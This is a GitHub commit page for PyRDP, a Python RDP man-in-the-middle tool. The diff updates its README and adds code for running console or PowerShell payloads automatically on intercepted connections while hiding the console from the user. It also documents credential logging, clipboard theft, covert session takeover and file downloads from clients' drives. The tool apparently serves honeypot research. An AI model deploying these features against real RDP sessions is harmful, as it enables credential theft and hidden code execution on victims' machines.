Skip to content

Commit

Permalink
Merge pull request #99 from GoSecure/interactive-player
Browse files Browse the repository at this point in the history
Interactive player
  • Loading branch information
xshill authored May 7, 2019
2 parents 1cb6554 + 9aff828 commit 882eb44
Show file tree
Hide file tree
Showing 81 changed files with 4,689 additions and 1,050 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -19,3 +19,4 @@ pyrdp_output/
test.bin
saved_files/
pyrdp_log/
bin/_*
153 changes: 136 additions & 17 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,28 +3,35 @@ PyRDP is a Python 3 Remote Desktop Protocol (RDP) Man-in-the-Middle (MITM) and l

It features a few tools:
- RDP Man-in-the-Middle
- Logs credentials used to connect
- Logs credentials used when connecting
- Steals data copied to the clipboard
- Saves a copy of the files transferred over the network
- Saves replays of connections so you can look at them later
- Run console commands or PowerShell payloads automatically on new connections
- RDP Player:
- See live RDP connections coming from the MITM
- View replays of RDP connections
- Take control of active RDP sessions while hiding your actions
- List the client's mapped drives and download files from them during active sessions
- RDP Certificate Cloner:
- Create a self-signed X509 certificate with the same fields as an RDP server's certificate

We are using this tool as part of an RDP honeypot which records sessions and saves a copy of the malware dropped on our
We have used this tool as part of an RDP honeypot which records sessions and saves a copy of the malware dropped on our
target machine.

## Table of Contents
- [Supported Systems](#supported-systems)
- [Installing](#installing)
* [Installing with Docker](#installing-with-docker)
* [Installing on Windows](#installing-on-windows)
- [Using the PyRDP MITM](#using-the-pyrdp-mitm)
- [Using the PyRDP Man-in-the-Middle](#using-the-pyrdp-man-in-the-middle)
* [Specifying the private key and certificate](#specifying-the-private-key-and-certificate)
* [Connecting to the PyRDP player](#connecting-to-the-pyrdp-player)
+ [Connecting to a PyRDP player when the MITM is running on a server](#connecting-to-a-pyrdp-player-when-the-mitm-is-running-on-a-server)
* [Running payloads on new connections](#running-payloads-on-new-connections)
+ [Setting the payload](#setting-the-payload)
+ [Choosing when to start the payload](#choosing-when-to-start-the-payload)
+ [Choosing when to resume normal activity](#choosing-when-to-resume-normal-activity)
* [Other MITM arguments](#other-mitm-arguments)
- [Using the PyRDP Player](#using-the-pyrdp-player)
* [Playing a replay file](#playing-a-replay-file)
Expand All @@ -46,46 +53,104 @@ PyRDP should work on Python 3.6 and up.
This tool has been tested to work on Python 3.6 on Linux (Ubuntu 18.04). It has not been tested on OSX and Windows.

## Installing
First, make sure to install the prerequisite packages

We recommend installing PyRDP in a
[virtual environment](https://packaging.python.org/guides/installing-using-pip-and-virtual-environments/)
to avoid dependency issues.

First, make sure to install the prerequisite packages (on Ubuntu):

```
sudo apt install libdbus-1-dev libdbus-glib-1-dev
```

You can now install PyRDP by running the setup script with pip:
On some systems, you may need to install the `python3-venv` package:

```
sudo pip3 install -U -e .
sudo apt install python3-venv
```

Then, create your virtual environment in PyRDP's directory:

```
cd pyrdp
python3 -m venv venv
```

*DO NOT* use the root PyRDP directory for the virtual environment folder (`python3 -m venv .`). You will make a mess,
and using a directory name like `venv` is more standard anyway.

Before installing the dependencies, you need to activate your virtual environment:

```
source venv/bin/activate
```

Finally, you can install the project with Pip:

```
pip3 install -U pip setuptools wheel
pip3 install -U -e .
```

This should install all the dependencies required to run PyRDP.

If you ever want to leave your virtual environment, you can simply deactivate it:

```
deactivate
```

Note that you will have to activate your environment every time you want to have the PyRDP scripts available as shell
commands.

### Installing with Docker
PyRDP can be installed in a container. First of all, create the image by executing this command at the root of pyRDP (where Dockerfile is located):
First of all, build the image by executing this command at the root of PyRDP (where Dockerfile is located):

```
docker build -t pyrdp .
```
Afterwards, you can execute the following command to run the container.

Afterwards, you can execute the following command to run the container:

```
docker run pyrdp pyrdp-mitm.py 192.168.1.10
docker run -it pyrdp pyrdp-mitm.py 192.168.1.10
```
For more information about the diffrent commands and arguments, please refer to these sections: [Using the PyRDP MITM](#using-the-pyrdp-mitm), [Using the PyRDP Player](#using-the-pyrdp-player), [Using the PyRDP Certificate Cloner](#using-the-pyrdp-certificate-cloner).

To store the output, be sure that your destination directory is owned by a user with a UID of 1000, otherwise you will get a permission denied error. If you're the only user on the system, you should not worry about this. Add the -v option to the previous command:
For more information about the various commands and arguments, please refer to these sections:

- [Using the PyRDP MITM](#using-the-pyrdp-man-in-the-middle)
- [Using the PyRDP Player](#using-the-pyrdp-player)
- [Using the PyRDP Certificate Cloner](#using-the-pyrdp-certificate-cloner)

To store the PyRDP output permanently (logs, files, etc.), add the -v option to the previous command. For example:

```
docker run -v /home/developer/pyrdp_output:/home/pyrdp/pyrdp_output pyrdp pyrdp-mitm.py 192.168.1.10
docker run -v /home/myname/pyrdp_output:/home/pyrdp/pyrdp_output pyrdp pyrdp-mitm.py 192.168.1.10
```
Using the player will require you to export the DISPLAY environment variable from the host to the docker (this redirects the GUI of the player to the host screen), expose the host's network and stop Qt from using the MITM-SHM X11 Shared Memory Extension. To do so, add the -e and --net options to the run command:

Make sure that your destination directory is owned by a user with a UID of 1000, otherwise you will get a permission denied error.
If you're the only user on the system, you should not need to worry about this.

#### Using the player in Docker

Using the player will require you to export the DISPLAY environment variable from the host to the docker.
This redirects the GUI of the player to the host screen.
You also need to expose the host's network and stop Qt from using the MIT-SHM X11 Shared Memory Extension.
To do so, add the -e and --net options to the run command:

```
docker run -e DISPLAY=$DISPLAY -e QT_X11_NO_MITSHM=1 --net=host pyrdp pyrdp-player.py
```
Keep in mind that exposing the host's network to the docker can compromise the isolation between your container and the host. If you plan on using the player, X11 forwarding using an SSH connection would be a more secure way.

Keep in mind that exposing the host's network to the docker can compromise the isolation between your container and the host.
If you plan on using the player, X11 forwarding using an SSH connection would be a more secure way.

### Installing on Windows
If you want to install PyRDP on Windows, note that `setup.py` will try to compile `ext/rle.c`, so you will need to have
a C compiler installed. You will also need to generate a private key and certificate to run the MITM.

## Using the PyRDP MITM
## Using the PyRDP Man-in-the-Middle
Use `pyrdp-mitm.py <ServerIP>` or `pyrdp-mitm.py <ServerIP>:<ServerPort>` to run the MITM.

Assuming you have an RDP server running on `192.168.1.10` and listening on port 3389, you would run:
Expand Down Expand Up @@ -118,13 +183,66 @@ pyrdp-mitm.py 192.168.1.10 -i 127.0.0.1 -d 3000
If you are running the MITM on a server and still want to see live RDP connections, you should use
[SSH remote port forwarding](https://www.booleanworld.com/guide-ssh-port-forwarding-tunnelling/)
to forward a port on your server to the player's port on your machine. Once this is done, you pass `127.0.0.1` and the forwarded
port as arguments to the MITM. For example, if port 4000 on the server is forwarded to port 3000 on your machine, this would
be the command to use:
port as arguments to the MITM. For example, if port 4000 on the server is forwarded to the player's port on your machine,
this would be the command to use:

```
pyrdp-mitm.py 192.168.1.10 -i 127.0.0.1 -d 4000
```

### Running payloads on new connections
PyRDP has support for running console commands or PowerShell payloads automatically when new connections are made.
Due to the nature of RDP, the process is a bit hackish and is not always 100% reliable. Here is how it works:

1. Wait for the user to be authenticated.
2. Block the client's input / output to hide the payload and prevent interference.
3. Send a fake Windows+R sequence and run `cmd.exe`.
4. Run the payload as a console command and exit the console. If a PowerShell payload is configured, it is run with `powershell -enc <PAYLOAD>`.
5. Wait a bit to allow the payload to complete.
6. Restore the client's input / output.

For this to work, you need to set 3 arguments:

- the payload
- the delay before the payload starts
- the payload's duration

#### Setting the payload
You can use one of the following arguments to set the payload to run:

- `--payload`, a string containing console commands
- `--payload-powershell`, a string containing PowerShell commands
- `--payload-powershell-file`, a path to a PowerShell script

#### Choosing when to start the payload
For the moment, PyRDP does not detect when the user is logged on.
You must give it an amount of time to wait for before running the payload.
After this amount of time has passed, it will send the fake key sequences and expect the payload to run properly.
To do this, you use the `--payload-delay` argument. The delay is in milliseconds.
For example, if you expect the user to be logged in within the first 5 seconds, you would use the following arguments:

```
--payload-delay 5000
```

This could be made more accurate by leveraging some messages exchanged during RDPDR initialization.
See [this issue](https://github.com/GoSecure/pyrdp/issues/98) if you're interested in making this work better.

#### Choosing when to resume normal activity
Because there is no direct way to know when the console has stopped running, you must tell PyRDP how long you want
the client's input / output to be blocked. We recommend you set this to the maximum amount of time you would expect the
console that is running your payload to be visible. In other words, the amount of time you would expect your payload to
complete.
To set the payload duration, you use the `--payload-duration` argument with an amount of time in milliseconds.
For example, if you expect your payload to take up to 5 seconds to complete, you would use the following argument:

```
--payload-duration 5000
```

This will block the client's input / output for 5 seconds to hide the console and prevent interference.
After 5 seconds, input / output is restored back to normal.

### Other MITM arguments
Run `pyrdp-mitm.py --help` for a full list of arguments.

Expand Down Expand Up @@ -205,3 +323,4 @@ PyRDP uses code from the following open-source software:
- [rdesktop](https://github.com/rdesktop/rdesktop) for bitmap decompression.
- [rdpy](https://github.com/citronneur/rdpy) for RC4 keys, the bitmap decompression bindings and the base GUI code for
the PyRDP player.
- [FreeRDP](https://github.com/FreeRDP/FreeRDP) for the scan code enumeration.
78 changes: 78 additions & 0 deletions bin/pyrdp-mitm.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
#

import asyncio
from base64 import b64encode

import OpenSSL
from twisted.internet import asyncioreactor
Expand Down Expand Up @@ -158,6 +159,11 @@ def main():
parser.add_argument("-L", "--log-level", help="Console logging level. Logs saved to file are always verbose.", default="INFO", choices=["INFO", "DEBUG", "WARNING", "ERROR", "CRITICAL"])
parser.add_argument("-F", "--log-filter", help="Only show logs from this logger name (accepts '*' wildcards)", default="")
parser.add_argument("-s", "--sensor-id", help="Sensor ID (to differentiate multiple instances of the MITM where logs are aggregated at one place)", default="PyRDP")
parser.add_argument("--payload", help="Command to run automatically upon connection", default=None)
parser.add_argument("--payload-powershell", help="PowerShell command to run automatically upon connection", default=None)
parser.add_argument("--payload-powershell-file", help="PowerShell script to run automatically upon connection (as -EncodedCommand)", default=None)
parser.add_argument("--payload-delay", help="Time to wait after a new connection before sending the payload, in milliseconds", default=None)
parser.add_argument("--payload-duration", help="Amount of time for which input / output should be dropped, in milliseconds. This can be used to hide the payload screen.", default=None)
parser.add_argument("--no-replay", help="Disable replay recording", action="store_true")

args = parser.parse_args()
Expand Down Expand Up @@ -201,6 +207,78 @@ def main():
config.outDir = outDir
config.recordReplays = not args.no_replay


payload = None
powershell = None

if int(args.payload is not None) + int(args.payload_powershell is not None) + int(args.payload_powershell_file is not None) > 1:
pyrdpLogger.error("Only one of --payload, --payload-powershell and --payload-powershell-file may be supplied.")
sys.exit(1)

if args.payload is not None:
payload = args.payload
pyrdpLogger.info("Using payload: %(payload)s", {"payload": args.payload})
elif args.payload_powershell is not None:
powershell = args.payload_powershell
pyrdpLogger.info("Using powershell payload: %(payload)s", {"payload": args.payload_powershell})
elif args.payload_powershell_file is not None:
if not os.path.exists(args.payload_powershell_file):
pyrdpLogger.error("Powershell file %(path)s does not exist.", {"path": args.payload_powershell_file})
sys.exit(1)

try:
with open(args.payload_powershell_file, "r") as f:
powershell = f.read()
except IOError as e:
pyrdpLogger.error("Error when trying to read powershell file: %(error)s", {"error": e})
sys.exit(1)

pyrdpLogger.info("Using payload from powershell file: %(path)s", {"path": args.payload_powershell_file})

if powershell is not None:
payload = "powershell -EncodedCommand " + b64encode(powershell.encode("utf-16le")).decode()

if payload is not None:
if args.payload_delay is None:
pyrdpLogger.error("--payload-delay must be provided if a payload is provided.")
sys.exit(1)

if args.payload_duration is None:
pyrdpLogger.error("--payload-duration must be provided if a payload is provided.")
sys.exit(1)


try:
config.payloadDelay = int(args.payload_delay)
except ValueError:
pyrdpLogger.error("Invalid payload delay. Payload delay must be an integral number of milliseconds.")
sys.exit(1)

if config.payloadDelay < 0:
pyrdpLogger.error("Payload delay must not be negative.")
sys.exit(1)

if config.payloadDelay < 1000:
pyrdpLogger.warning("You have provided a payload delay of less than 1 second. We recommend you use a slightly longer delay to make sure it runs properly.")


try:
config.payloadDuration = int(args.payload_duration)
except ValueError:
pyrdpLogger.error("Invalid payload duration. Payload duration must be an integral number of milliseconds.")
sys.exit(1)

if config.payloadDuration < 0:
pyrdpLogger.error("Payload duration must not be negative.")
sys.exit(1)


config.payload = payload
elif args.payload_delay is not None:
pyrdpLogger.error("--payload-delay was provided but no payload was set.")
sys.exit(1)


try:
# Check if OpenSSL accepts the private key and certificate.
ServerTLSContext(config.privateKeyFileName, config.certificateFileName)
Expand Down
5 changes: 5 additions & 0 deletions pyrdp/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
#
# This file is part of the PyRDP project.
# Copyright (C) 2019 GoSecure Inc.
# Licensed under the GPLv3 or later.
#
Loading

0 comments on commit 882eb44

Please sign in to comment.